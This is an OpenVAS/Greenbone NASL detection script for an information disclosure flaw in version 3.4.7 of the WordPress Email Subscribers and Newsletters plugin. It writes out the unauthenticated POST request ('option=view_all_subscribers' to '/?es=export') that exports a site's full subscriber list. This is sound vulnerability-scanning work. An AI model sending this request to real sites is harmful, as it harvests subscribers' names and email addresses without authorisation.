WordPress Plugin EmailSubscribers And Newsletters Information Disclosure Vulnerability

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.812672");
  script_version("2023-07-20T05:05:18+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-20 05:05:18 +0000 (Thu, 20 Jul 2023)");
  script_tag(name:"creation_date", value:"2018-01-25 10:24:30 +0530 (Thu, 25 Jan 2018)");
  script_name("WordPress Plugin EmailSubscribers And Newsletters Information Disclosure Vulnerability");

  script_tag(name:"summary", value:"wordpress EmailSubscribers And Newsletters plugin is prone to an information disclosure vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read sensitive information or not.");

  script_tag(name:"insight", value:"The flaw exists due to improper access
  restriction allowing user to download the entire subscriber list with names
  and e-mail addresses.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to gain access to potentially sensitive information.");

  script_tag(name:"affected", value:"WordPress Plugin Email Subscribers and
  Newsletters version 3.4.7");

  script_tag(name:"solution", value:"Update to WordPress Plugin Email Subscribers
  and Newsletters version 3.4.8 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"exploit");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/43872");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"https://wordpress.org/plugins/email-subscribers");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

postData = "option=view_all_subscribers";
url = dir + "/?es=export";

req = http_post_put_req(port:port, url:url, data:postData, add_headers:make_array("Content-Type", "application/x-www-form-urlencoded"));
res = http_keepalive_send_recv(port:port, data:req);

if(res =~ "^HTTP/1\.[01] 200" && res =~ "email-subscribers.*csv" &&
   res =~ "Email.Name.Status.Created.EmailGroup" && res =~ '"[a-z0-9]+@[a-z]+.com"."[A-Za-z0-9]+".') {
  report = http_report_vuln_url(port:port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);